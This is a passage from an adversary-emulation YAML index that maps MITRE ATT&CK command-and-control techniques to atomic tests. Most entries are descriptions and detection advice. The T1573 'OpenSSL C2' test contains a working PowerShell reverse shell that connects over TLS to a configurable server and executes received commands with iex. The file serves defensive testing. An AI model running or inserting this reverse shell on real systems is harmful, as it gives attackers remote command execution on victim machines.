        One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)
      id: attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-27T20:54:28.287Z'
      created: '2020-03-11T14:56:34.154Z'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Detection for this technique is difficult because it would
        require knowledge of the specific implementation of the port calculation algorithm.
        Detection may be possible by analyzing DNS records if the algorithm is known.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1132:
    technique:
      id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data Encoding
      description: 'Adversaries may encode data to make the content of command and
        control traffic more difficult to detect. Command and control (C2) information
        can be encoded using a standard data encoding system. Use of data encoding
        may adhere to existing protocol specifications and includes use of ASCII,
        Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation:
        Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)
        Some data encoding systems may also result in data compression, such as gzip.'
      external_references:
      - source_name: mitre-attack
        external_id: T1132
        url: https://attack.mitre.org/techniques/T1132
      - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
          March 1, 2017.
        source_name: Wikipedia Binary-to-text Encoding
      - url: https://en.wikipedia.org/wiki/Character_encoding
        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
          March 1, 2017.
        source_name: Wikipedia Character Encoding
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-14T23:39:50.338Z'
      created: '2017-05-31T21:31:43.540Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_network_requirements: true
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_contributors:
      - Itzik Kotler, SafeBreach
      x_mitre_version: '1.1'
    atomic_tests: []
  T1001:
    technique:
      id: attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data Obfuscation
      description: 'Adversaries may obfuscate command and control traffic to make
        it more difficult to detect. Command and control (C2) communications are hidden
        (but not necessarily encrypted) in an attempt to make the content more difficult
        to discover or decipher and to make the communication less conspicuous and
        hide commands from being seen. This encompasses many methods, such as adding
        junk data to protocol traffic, using steganography, or impersonating legitimate
        protocols. '
      external_references:
      - source_name: mitre-attack
        external_id: T1001
        url: https://attack.mitre.org/techniques/T1001
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-15T00:40:27.670Z'
      created: '2017-05-31T21:30:18.931Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_version: '1.1'
    atomic_tests: []
  T1102.001:
    technique:
      created: '2020-03-14T22:24:21.841Z'
      modified: '2020-03-26T23:12:30.499Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7
      description: |-
        Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

        Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

        Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
      name: Dead Drop Resolver
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1102.001
        url: https://attack.mitre.org/techniques/T1102/001
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: 'Host data that can relate unknown or suspicious process
        activity using a network connection is important to supplement any existing
        indicators of compromise based on malware command and control signatures and
        infrastructure or the presence of strong encryption. Packet capture analysis
        will require SSL/TLS inspection if data is encrypted. User behavior monitoring
        may help to detect abnormal patterns of activity.(Citation: University of
        Birmingham C2)'
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1090.004:
    technique:
      created: '2020-03-14T23:29:19.581Z'
      modified: '2020-09-16T19:30:54.226Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2
      description: |-
        Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

        For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
      name: Domain Fronting
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1090.004
        url: https://attack.mitre.org/techniques/T1090/004
      - external_id: CAPEC-481
        source_name: capec
        url: https://capec.mitre.org/data/definitions/481.html
      - url: http://www.icir.org/vern/papers/meek-PETS-2015.pdf
        description: David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern
          Paxson. (2015). Blocking-resistant communication through domain fronting.
          Retrieved November 20, 2017.
        source_name: Fifield Blocking Resistent Communication through domain fronting
          2015
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Matt Kelly, @breakersall
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: 'If SSL inspection is in place or the traffic is not encrypted,
        the Host field of the HTTP header can be checked if it matches the HTTPS SNI
        or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking
        Resistent Communication through domain fronting 2015)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
    atomic_tests: []
  T1568.002:
    technique:
      created: '2020-03-10T17:44:59.787Z'
      modified: '2020-11-10T18:28:57.002Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd
      description: |-
        Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

        DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

        Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
      name: Domain Generation Algorithms
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1568.002
        url: https://attack.mitre.org/techniques/T1568/002
      - source_name: Cybereason Dissecting DGAs
        url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
        description: 'Sternfeld, U. (2016). Dissecting Domain Generation Algorithms:
          Eight Real World DGA Variants. Retrieved February 18, 2019.'
      - source_name: Cisco Umbrella DGA
        url: https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
        description: Scarfo, A. (2016, October 10). Domain Generation Algorithms –
          Why so effective?. Retrieved February 18, 2019.
      - source_name: Unit 42 DGA Feb 2019
        url: https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
        description: 'Unit 42. (2019, February 7). Threat Brief: Understanding Domain
          Generation Algorithms (DGA). Retrieved February 19, 2019.'
      - url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
        description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast
          Number of Machines at Risk. Retrieved March 9, 2018.'
        source_name: Talos CCleanup 2017
      - source_name: Akamai DGA Mitigation
        url: https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
        description: Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of
          Domain Generation Algorithms. Retrieved February 18, 2019.
      - url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
        description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless
          WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.
        source_name: FireEye POSHSPY April 2017
      - source_name: ESET Sednit 2017 Activity
        url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
        description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent
          the Year. Retrieved February 18, 2019.'
      - source_name: Data Driven Security DGA
        url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
        description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part
          2, Feature Engineering. Retrieved February 18, 2019.'
      - source_name: Pace University Detecting DGA May 2017
        url: http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf
        description: Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically
          Generated Domains Using Data Visualization and N-Grams Methods . Retrieved
          April 26, 2019.
      - source_name: Elastic Predicting DGA
        url: https://arxiv.org/pdf/1611.00791.pdf
        description: Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November
          2). Predicting Domain Generation Algorithms with Long Short-Term Memory
          Networks. Retrieved April 26, 2019.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Ryan Benson, Exabeam
      - Barry Shteiman, Exabeam
      - Sylvain Gil, Exabeam
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_detection: |-
        Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.

        Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1568:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1568
        url: https://attack.mitre.org/techniques/T1568
      - url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
        description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast
          Number of Machines at Risk. Retrieved March 9, 2018.'
        source_name: Talos CCleanup 2017
      - url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
        description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless
          WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.
        source_name: FireEye POSHSPY April 2017
      - source_name: ESET Sednit 2017 Activity
        url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
        description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent
          the Year. Retrieved February 18, 2019.'
      - source_name: Data Driven Security DGA
        url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
        description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part
          2, Feature Engineering. Retrieved February 18, 2019.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Dynamic Resolution
      description: |-
        Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

        Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
      id: attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-10-02T01:37:39.938Z'
      created: '2020-03-10T17:28:11.747Z'
      x_mitre_contributors:
      - Chris Roffe
      x_mitre_detection: 'Detecting dynamically generated C2 can be challenging due
        to the number of different algorithms, constantly evolving malware families,
        and the increasing complexity of the algorithms. There are multiple approaches
        to detecting a pseudo-randomly generated domain name, including using frequency
        analysis, Markov chains, entropy, proportion of dictionary words, ratio of
        vowels to other characters, and more (Citation: Data Driven Security DGA).
        CDN domains may trigger these detections due to the format of their domain
        names. In addition to detecting algorithm generated domains based on the name,
        another more general approach for detecting a suspicious domain is to check
        for recently registered names or for rarely visited domains.'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1573:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1573
        url: https://attack.mitre.org/techniques/T1573
      - url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
        description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting
          SSL. Retrieved April 5, 2016.
        source_name: SANS Decrypting SSL
      - url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
        description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved
          April 5, 2016.
        source_name: SEI SSL Inspection Risks
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Encrypted Channel
      description: Adversaries may employ a known encryption algorithm to conceal
        command and control traffic rather than relying on any inherent protections
        provided by a communication protocol. Despite the use of a secure algorithm,
        these implementations may be vulnerable to reverse engineering if secret keys
        are encoded and/or generated within malware samples/configuration files.
      id: attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2021-04-20T19:27:46.650Z'
      created: '2020-03-16T15:33:01.739Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_detection: |-
        SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)

        In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1573
    atomic_tests:
    - name: OpenSSL C2
      auto_generated_guid: 21caf58e-87ad-440c-a6b8-3ac259964003
      description: |
        Thanks to @OrOneEqualsOne for this quick C2 method.
        This is to test to see if a C2 session can be established using an SSL socket.
        More information about this technique, including how to set up the listener, can be found here:
        https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926

        Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.
      supported_platforms:
      - windows
      input_arguments:
        server_ip:
          description: IP of the external server
          type: String
          default: 127.0.0.1
        server_port:
          description: The port to connect to on the external server
          type: String
          default: '443'
      executor:
        command: |
          $server_ip = #{server_ip}
          $server_port = #{server_port}
          $socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
          $stream = $socket.GetStream()
          $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
          $sslStream.AuthenticateAsClient('fake.domain', $null, "Tls12", $false)
          $writer = new-object System.IO.StreamWriter($sslStream)
          $writer.Write('PS ' + (pwd).Path + '> ')
          $writer.flush()
          [byte[]]$bytes = 0..65535|%{0};
          while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
          {$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
          $sendback = (iex $data | Out-String ) 2>&1;
          $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
          $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
          $sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
        name: powershell
  T1090.002:
    technique:
      created: '2020-03-14T23:12:18.466Z'
      modified: '2020-03-27T17:50:37.411Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3
      description: |-
        Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.

        External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.
      name: External Proxy
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1090.002
        url: https://attack.mitre.org/techniques/T1090/002
      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
          of the Trade. Retrieved December 2, 2015.'
        source_name: Trend Micro APT Attack Tools
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: 'Analyze network data for uncommon data flows, such as a
        client sending significantly more data than it receives from an external server.
        Processes utilizing the network that do not normally have network communication
        or have never been seen before are suspicious. Analyze packet contents to
        detect communications that do not follow the expected protocol behavior for
        the port that is being used.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1008:
    technique:
      created: '2017-05-31T21:30:21.689Z'
      modified: '2020-07-14T19:49:47.340Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Fallback Channels
      description: Adversaries may use fallback or alternate communication channels
        if the primary channel is compromised or inaccessible in order to maintain
        reliable command and control and to avoid data transfer thresholds.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1008
        external_id: T1008
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1568.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1568.001
        url: https://attack.mitre.org/techniques/T1568/001
      - url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref
        description: Mehta, L. (2014, December 17). Fast Flux Networks Working and
          Detection, Part 1. Retrieved March 6, 2017.
        source_name: MehtaFastFluxPt1
      - source_name: MehtaFastFluxPt2
        description: Mehta, L. (2014, December 23). Fast Flux Networks Working and
          Detection, Part 2. Retrieved March 6, 2017.
        url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref
      - source_name: Fast Flux - Welivesecurity
        url: https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/
        description: 'Albors, Josep. (2017, January 12). Fast Flux networks: What
          are they and how do they work?. Retrieved March 11, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Fast Flux DNS
      description: |-
        Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)

        The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)

        In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.
      id: attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-27T16:10:37.183Z'
      created: '2020-03-11T14:11:16.560Z'
      x_mitre_detection: In general, detecting usage of fast flux DNS is difficult
        due to web traffic load balancing that services client requests quickly. In
        single flux cases only IP addresses change for static domain names. In double
        flux cases, nothing is static. Defenders such as domain registrars and service
        providers are likely in the best position for detection.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1071.002:
    technique:
      created: '2020-03-15T16:16:25.763Z'
      modified: '2020-08-21T14:41:22.911Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b
      description: "Adversaries may communicate using application layer protocols
        associated with transferring files to avoid detection/network filtering by
        blending in with existing traffic. Commands to the remote system, and often
        the results of those commands, will be embedded within the protocol traffic
        between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that
        transfer files may be very common in environments.  Packets produced from
        these protocols may have many fields and headers in which data can be concealed.
        Data could also be concealed within the transferred files. An adversary may
        abuse these protocols to communicate with systems under their control within
        a victim network while also mimicking normal, expected traffic. "
      name: File Transfer Protocols
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1071.002
        url: https://attack.mitre.org/techniques/T1071/002
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect application
        layer protocols that do not follow the expected protocol for the port that
        is being used.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1105:
    technique:
      created: '2017-05-31T21:31:16.408Z'
      modified: '2020-03-20T15:42:48.595Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add
